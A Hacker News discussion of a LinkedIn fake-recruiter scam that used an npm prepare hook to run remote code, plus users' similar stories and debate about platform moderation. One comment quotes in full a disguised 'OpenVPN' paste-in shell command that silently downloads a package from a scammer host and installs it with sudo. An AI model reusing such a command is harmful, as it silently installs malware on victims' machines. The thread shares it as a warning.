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#linkedin#don#npm#phone#amp#company#https#com#install#run

Discussion (90 Comments)Read Original on HackerNews

wxwabout 3 hours ago
> a recruiter at a small crypto startup [...] she described a broken proof-of-concept they needed a lead engineer for, and then sent me a public GitHub repo to review. Specifically, she asked me to “check out the deprecated Node modules issue.”

> ...buried between walls of commented-out tests, the payload runs anything the server sends back to your machine.

> npm runs prepare automatically after npm install, so just installing dependencies executes the backdoor.

> The instruction to “check out the deprecated Node modules issue” was bait to get me to run npm install.

Great catch. I've not been phished on LinkedIn before. Surprised it's getting this bad.

pants2about 2 hours ago
LinkedIn offers no way for $company to disavow users who claim to work for $company - they will appear on the official company page as long as it's in their profile.

We've had fake recruiters that claim to work for us running basically the same scam. These are great fake profiles: LinkedIn Premium, tons of relevant posts, etc... but they don't work for us, and we get angry messages from people saying our recruiter tried to scam them. No, they're not our recruiter despite showing up on our company page on LinkedIn. No number of reports could get them taken down.

I finally got it solved by buying drinks for a buddy of mine that works for LinkedIn, but not all startups have that connection!

tweetle_beetleabout 2 hours ago
LinkedIn didn't even disavow people pretending to work for LinkedIn until someone had too much fun with it - https://chrisduffycomedy.com/blog/2016/11/2/6-months-as-the-...
throwaway77836 minutes ago
LinkedIn doesn't have any redressal mechanisms for anything. Someone I knew went through a lot of abuse by a LI user and kept making new accounts to harass. LinkedIn's response - "We did not find anything that violates our ToC". No wonder it has become a cesspool of spam, fraud and abusers.
sensanatyabout 1 hour ago
My last 2 companies, LinkedIn asked me to add an email address associated with the said company and actually confirm via said email in order to add them to my profile. So, if I worked for FooCompany, I had to have a @FooCompany.com email which is setup by someone at the company itself. Does this not cover what you're talking about?
pants230 minutes ago
According to my research, LinkedIn only does this for executive and now recruiter-like titles, but not broadly. You may be able to in order to get "verified on LinkedIn" but it's not a requirement for showing association with a company.

https://www.theverge.com/news/771210/linkedin-recruiter-exec...

underliptonabout 1 hour ago
>I finally got it solved by buying drinks for a buddy of mine that works for LinkedIn

I'd like people to understand that this is a form of corruption. We've normalized many like it. LI knows that the only way to force them to fix the issue is to go through a drawn-out legal process, save a spate of bad press (RIP 60 Minutes), so of course they won't.

sublinear25 minutes ago
That part of their comment is clearly a lie. The only corruption going on here is HN taking on too many reddit refugees with their ignorant childish fantasies.
gleennabout 2 hours ago
Friends don't let friends use NPM. At this point it is so wildly crazy watching people get owned, I don't understand how anyone uses it when they could use e.g. PNMPM and block one if the most obvious and frequently exploited holes. These tools with arbitrary code execution when trying to download some code have got to stop.

Edit: typos

afpxabout 2 hours ago
Github / Microsoft could easily fix this, couldn't they? Leaving NPM up in its current state seems criminal, especially since LLMs generate NPM commands so frequently.
jjiceabout 2 hours ago
winddudeabout 2 hours ago
> Friends don't let friends ise NPM

or linkedin

jzigabout 1 hour ago
I don't have friends, therefore I must use LinkedIn to get a job. Hooray!
mhitzaabout 2 hours ago
Things like this where a tried and tested method on Upwork, particularly in the 2021-2022 crypto/nft highs. At some point they branched out from crypto projects and cast a wide net across different categories.

Last I recall was a download of a windows scr (screensaver masquerading) file.

Linkedin is a new low, and I'm sure the platform doesn't really care (look, more jobs), just as ad network companies (Google, Meta) don't really care about scam ads.

firefaxabout 1 hour ago
I've had people phish for my email then hit that with some bullshitpowershellladendoucument.pdf.docx crap, but sending it directly in the IM?

Bold strategy cotton, let's see if it pays off.

burnteabout 2 hours ago
I haven't been phished like this but I've certainly had fraudsters try to con me into meetings or schemes, etc.
citizenpaul26 minutes ago
I'm not. I call it identitythiefresourcecenter.com or its shorter name freecriminalresource.com

I hate how normalized it became for "HR" to require you having a LI page for a job. I don't think its as bad now but for a while it was essentially not possible to get a job without putting all your personal info on linkedin.

cyanydeezabout 2 hours ago
surprise is unwarranted as linkedin enshittifies. This type of thing is exactly what happens when neither the user of the service, nor the third party commercial interests are being served by the commercial enterprise. It's a vacuum that scams enter into.
jmward01about 3 hours ago
So, this is a crime right? Why isn't there a well known '911' for cybercrime to report things like this to and get help? Society needs to catch up with the actual dangers out there and build support networks for this ASAP. This is organized crime and needs organized defense to deal with it.
mrhottakesabout 3 hours ago
Unfortunately most evil cybercriminals know the "one weird trick" of "do your crimes in countries that don't care about the crimes"
jmward01about 1 hour ago
I see several comments like this implying nothing can be done. But that is far from the truth. First, an agency that actually answered the phone could coordinate directly with LinkedIn and other tech companies to quickly take down these fake accounts and minimize harm to others. We all know how incredibly hard it is to contact a tech company. Second, an agency that answers the phone could help less technical people find what may have been compromised and push people towards support services if needed. And finally, maybe, they could do the hard job of combining leads and working with appropriate agencies to maybe find and prevent these things over time.
eblumeabout 3 hours ago
https://www.ic3.gov

You won't hear back from them, though. But, at least for US citizens (and possibly for anyone?), this is as far as I know the closest thing there is to an "Internet 911".

john_strinlaiabout 3 hours ago
the main issue is that we lack a global '911'.

secondary is the effort asymmetry between spinning up one of these scams (near 0 effort) and catching/prosecuting these scams (big effort, astronomical cost)

Ditiabout 2 hours ago
> the main issue is that we lack a global '911'.

911 is for emergencies. I don’t think the global 911 service would give any attention to a LinkedIn scam.

john_strinlaiabout 2 hours ago
i used the same terminology as the parent, and i think we all know what is meant by it
pocksuppetabout 2 hours ago
what about the outcome asymmetry between spinning up one of these scams (get one guy's computer) and getting caught (jail for life)
john_strinlaiabout 2 hours ago
you arent getting jail for life for this, even in the extremely remote chance you are caught. you are probably getting more than one guy's computer, though.
Jolterabout 1 hour ago
I’m sure they’ve gotten more than one hot wallet from out of work crypto bros. Probably a profitable venture.
umpalumpaaaabout 2 hours ago
I don’t know but the us kidnaps ehhh arrests people on foreign land on a regular basis… and brings them to the US to stand trial. So if it’s “important” enough it will be aced upon…
bityardabout 2 hours ago
To put it bluntly and perhaps a bit cynically, on the tree of bad things that people do to other people, this is pretty high-hanging fruit. Right up there next to scam phone calls that prey on the elderly while claiming to be from Microsoft support.

It's basically impossible to catch suspects because they are either smart enough to cover their tracks very well, or (more often) live in countries whose governments don't care about their citizens (even pay them for) scamming westerners.

Barbingabout 2 hours ago
Saw Microsoft has a dedicated scam reporting page - guess it was damaging their brand https://reportfraud.microsoft.com/en-us

Wonder if they’re effective in going after reports. I’d still report to IC3/FBI/powers that be, too. Just in case someone somewhere has the resources to do something… perhaps a high hope

mgiampapaabout 2 hours ago
I get more calls from Google Security than any other thing. Oddly the Pixel's built in scam detection and call screening lets them through without fail. I normally don't have my phone even ring unless it's in my contacts, but saying you are calling from Google is like a magic code.
Xirdusabout 2 hours ago
Hard disagree on the scam phone calls. It would be trivial to eradicate them almost completely if the phone operators did the bare minimum to fight against it. At any point in time, any given US phone number is handled by exactly one phone carrier. There is nothing stopping that carrier from requiring name and address to issue that phone number. They already do for 99.99% of their legitimate customers. It would be very easy to make it so that every single phone call originating from the US, including all VOIP calls made with US phone numbers, can be traced back to a specific business or person that can later be sued or prosecuted.

And no, number spoofing isn't an excuse either. We literally solved the much harder problem of email spoofing already. There are, what, 3 carrier networks in all of US? And they cannot do with each other what DMARC did for the hundreds of thousands disjoint organizations that comprise the internet? Please.

pocksuppetabout 1 hour ago
Number spoofing is not a solved problem because some carriers, which appear legitimate in all other respects, make a business out of routing your traffic over TDM trunks that don't support caller ID verification, and will claim it's extremely expensive to upgrade these to VOIP.
LooseMarmoset18 minutes ago
You are not wrong. They don't do this because they make money from the scammers.

I have posted about this before. See here: https://news.ycombinator.com/item?id=35191971

firefaxabout 2 hours ago
>It would be trivial to eradicate them almost completely

Absolutely true, but droning their data centers might have some policy repercussions.

a34729tabout 2 hours ago
Yeah 100%. It's criminal that this is not already done.
salawatabout 2 hours ago
KYC just for a phone number opens the door for societal ostracization and essentially blacklisting of people from infrastructure. This is on par with being unable to open a bank account if the capability is matured. I'd advise that you think long and hard about the consequences of this system being applied against you maliciously before signing on the dotted line.
cluckindanabout 2 hours ago
Yes. But the perps are in North Korea.
throwaway85825about 2 hours ago
The scammers are in a different whole uncooperative country.
cute_boiabout 1 hour ago
Or they may be in this country, but uses proxies, virtual machines, hostings from uncooperative country.
plucabout 2 hours ago
Have you seen the state of *gestures at everything*
stefan_about 2 hours ago
You mean organized crime like NSO Group? Sorry, governments all over the world are too busy using them to spy on opposition to care.
calvinmorrisonabout 3 hours ago
yes this is a crime.
deejaaymacabout 2 hours ago
Cool let's hear your solution, you seem well versed on how infosec works.
LooseMarmoset11 minutes ago
Were I still on Linkedin, I could totally have been caught by this. Thank you for this post, and the technical breakdown.

The company that I currently work for is currently paying for a curation product to scan NPM for vulnerabilities, and to prevent access to typo-squatting packages and new, unverified packages. I suspect that my employer may get to the point of banning NPM entirely, though.

aykutsekerabout 1 hour ago
This is uncomfortably close to a normal interview task now.

Someone sends you a repo, says the install is broken, and asks you to take a look.

A lot of developers would run rpm install before thinking twice, especially if they were tired or looking for work.

suyavuzabout 1 hour ago
The interview context makes it worse. You’re trying not to look slow, so you skip the part where you ask whether you should run it at all.
BobAliceInATreeabout 2 hours ago
> I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

Oh, Microsoft.

andy99about 2 hours ago
I once saw an ad on LinkedIn made up to look like the CBC (Canadian news) linking to a fake video of the Canadian prime minister announcing a crypto investment plan for all Canadians, with a link to sign up. I reported the ad to LinkedIn and shortly after got a reply telling me they investigated and didn’t find any violation of their policies.
INTPenisabout 2 hours ago
They should have reported it for DMCA violation. It would be gone instantly.
Raed667about 2 hours ago
They seem to using the same domain for multiple targets: reddit thread from 3 months ago:

https://www.reddit.com/r/openclaw/comments/1rlet0h/someone_t...

theoeiffijrabout 3 hours ago
Maybe Mac will finally get decent virtualization framework. Downloading random unprotected scripts from internet, like it is 1995 is getting old pretty fast.

Remember to use protection when meeting random people, and putting their junk deep inside your computer!

firefaxabout 1 hour ago
>Downloading random unprotected scripts from internet, like it is 1995 is getting old pretty fast.

It's ok, the guy with glasses from the Daily Show said it's ok.

rvzabout 3 hours ago
Or running random curl | bash scripts from GitHub, AUR, NPM are just as bad but many developers here still have dubious assumptions on this bad practice.

The last few weeks tell us how bad this is especially with all the mini-shai hulud's running around.

mschuster91about 1 hour ago
> Maybe Mac will finally get decent virtualization framework.

it already has, you can configure intellij to run npm commands in a Docker container.

clemailacct1about 3 hours ago
This is very likely Lazarus Group - specifically Famous Chollima aka the DPRK
srikanth8640 minutes ago
I was a victim of this attack on Friday. The interviewer had a russian / east European accent.
CyanLite2about 3 hours ago
Isn't this how most NPM authors are hacked these days? I think the axios guy got hit with the same approach over LinkedIn.
lysaceabout 1 hour ago
Hoisted by their own petard vibes.
atum47about 2 hours ago
I've been getting some job offers on LinkedIn, all of them are shady af. Apply using a platform. Apply recording a video of yourself. Apply by resolving a calibration code test (behind a code platform)...
joebuckwilliams33 minutes ago
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hajdjqkekrqow17 minutes ago
Something similar happened to a friend, repo https://github.com/momonity/cryptoskope/
CalChrisabout 3 hours ago
It’s odd that the operator of the scam knew full stack level details of its implementation. To me, it seems like they were targeting the author, perhaps as something like privilege escalation, identity escalation perhaps.
rektomaticabout 3 hours ago
I really want to know what would've happened with an npm install, I guess something boring like crypto mining or identity theft?
flexagoonabout 2 hours ago
AFAIK most malware like this first sends the contents of your environment variables, ssh keys, passwords, etc. to the server, and then sets up a persistent process that executes arbitrary commands received from the attacker's server at any time, allowing them to run whatever else they want
imankulovabout 3 hours ago
You can actually test it yourself. The actual URL is in the post and the website is still up.
gman2093about 3 hours ago
Arbitrary remote code execution, maybe sold to the highest bidder like some shady cloud provider?
f055about 2 hours ago
I used to get 2-3 shady crypto offers per week on LinkedIn. It stopped when I started replying with AI generated responses demanding multiple verification steps: official email, official offer link, terms and scope etc. And a note with a firm refusal to run any code or install any package on my machine for "recruitment tasks".
srikanth86about 2 hours ago
Oh my goodness! I had this playout as is on Friday. I luckily got on the zoom call 20 mins late. Found it weird that the interviewer was pushy and wanted me to download and run an npm repo. I got out of the call quickly.
Yhippaabout 2 hours ago
> but on a more tired or rushed day

This has nearly gotten me before, and I got lucky.

mattcasmithabout 3 hours ago
I’ve seen a few of these – malicious repos to clone, fake call links that prompt for “driver” downloads, and so on.

The only way around it is to be hyper-vigilant if anyone asks you to run any untrusted code on your computer.

binsquareabout 2 hours ago
Would highly recommend running any repo in an isolated environment like a vm
robotnikmanabout 3 hours ago
With how many desperate software engineers there are on the market right now looking for a job, there are going to be scumbags out there trying to take advantage of the desperation. Such people are the worst of the worst of humanity.

Stay vigilant out there everyone.

DFHippieabout 2 hours ago
> Such people are the worst of the worst of humanity.

I don't know. There's a plentiful supply of bad humans.

robotnikmanabout 2 hours ago
Anyone who preys on people who are desperate and hurting are certainly some of the worst though.
contingenciesabout 3 hours ago
Thought: they may be targeting software developers on the assumption they may have legit credentials lying around from other employers or for public open source projects, or at a minimum some reputation to exploit towards obtaining commits to the same for supply chain attacks.
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khernandezrtabout 2 hours ago
It would have been game over for me.
dyingkneepadabout 3 hours ago
Ah, c'mon! You went all the way to find out the issue and write about it, and won't do the most interesting part which is to tell us what was the remote script that would end up running!?
stainablesteelabout 1 hour ago
the entire internet is just phishing at this point
zuzululuabout 2 hours ago
I'm working 3 remote jobs right now and I can tell you guys to really watch out.

Often they are not malicious, just unsavory business practice where they want free consulting with no intention of hiring you. Another tell is the person is quick to jump to a take home screening project and they are quite good at getting at engineers heads that "leetcode is outdated/they dont believe in it" and whatever they want you to hear.

They know engineers are desperate for jobs right now and if you don't have a backbone they will exploit it.

I am much wiser now that I work multiple salary jobs remotely I realize these 3 golden rules:

- Don't stay loyal to your employers.

- Don't stay honest to those don't value it.

- Don't stay complacent always innovate.

avgDevabout 2 hours ago
More reasons for me to dislike linked-in. I have an account. I hate it.
dolebirchwoodabout 2 hours ago
As part of a potential interview, I was given login credentials so I could sign in to a site where I was prompted to download a VPN client that would allow me to connect to the company's system (red flags already).

They made the site look like it was an official OpenVPN page, even though the URL was clearly not affiliated. The method of downloading their "VPN" was to copy and paste a script to run in my terminal. They only showed a small snippet of the command, which started with `( brew install openvpn )`, followed by a copy button. After pasting the full command to inspect it, the entire contents was as follows (with the malicious URL removed):

```

( brew install openvpn ) >/dev/null 2>&1 & ovpn_pid=$!; ( url="https://asshole.scammer.dev/openvpn-mac"; policyCategoryId="-1"; installerArgs="url=$url:departmentId=1765561620401102848:sourceInstall=silent:technicianId=7455681275330027520"; silentInstall="true"; waitForProcess(){ processName="$1"; fixedDelay="$2"; terminate="$3"; while pgrep -f "$processName" >/dev/null; do if [ "$terminate" = "true" ]; then pkill -f "$processName" true; return; fi; delay="${fixedDelay:-$((RANDOM % 50 + 10))}"; sleep "$delay"; done; }; checkForRosetta2(){ waitForProcess "/usr/sbin/softwareupdate"; IFS='.' read -r osvers_major osvers_minor <<< "$(/usr/bin/sw_vers -productVersion)"; if [ "$osvers_major" -ge 11 ]; then if ! sysctl -n machdep.cpu.brand_string | grep -q "Intel"; then pgrep oahd >/dev/null 2>&1 /usr/sbin/softwareupdate --install-rosetta --agree-to-license >/dev/null 2>&1; fi; fi; }; checkForRosetta2; DIRECTORY="/Users/Shared/InstallerWorkspace"; mkdir -p "$DIRECTORY"; configFile="$DIRECTORY/agentinstallconfig.properties"; { echo "policyId=$policyCategoryId"; echo "install_args=$installerArgs"; echo "Silent_Install=$silentInstall"; } > "$configFile"; baseName="$(basename "$url")"; downLoadFile="/Users/Shared/$baseName"; curl --silent --fail --location --url "$url" --output "$downLoadFile" >/dev/null 2>&1 && sudo installer -pkg "$downLoadFile" -target / >/dev/null 2>&1; t=$?; rm -f "$configFile" "$downLoadFile"; exit "$t" ) >/dev/null 2>&1 & so_pid=$!; wait "$ovpn_pid"; ovpn_rc=$?; wait "$so_pid"; so_rc=$?; [ "$ovpn_rc" -eq 0 ] && [ "$so_rc" -eq 0 ]

```

Yeah, no. Be careful out there.

By the way, here's the scammer's "company website": https://jtwllc.com/

Superficially looks legit until you start investigating the finer details.

l0new0lf-Gabout 2 hours ago
Yet another reason to be reluctant to even discuss linkedin job offers
yieldcrvabout 2 hours ago
now imagine if you were like the rest of us and didn’t write a blog post about it
MAustriaGAabout 1 hour ago
I would not have found out about this. Thanks for the writer for taking the time.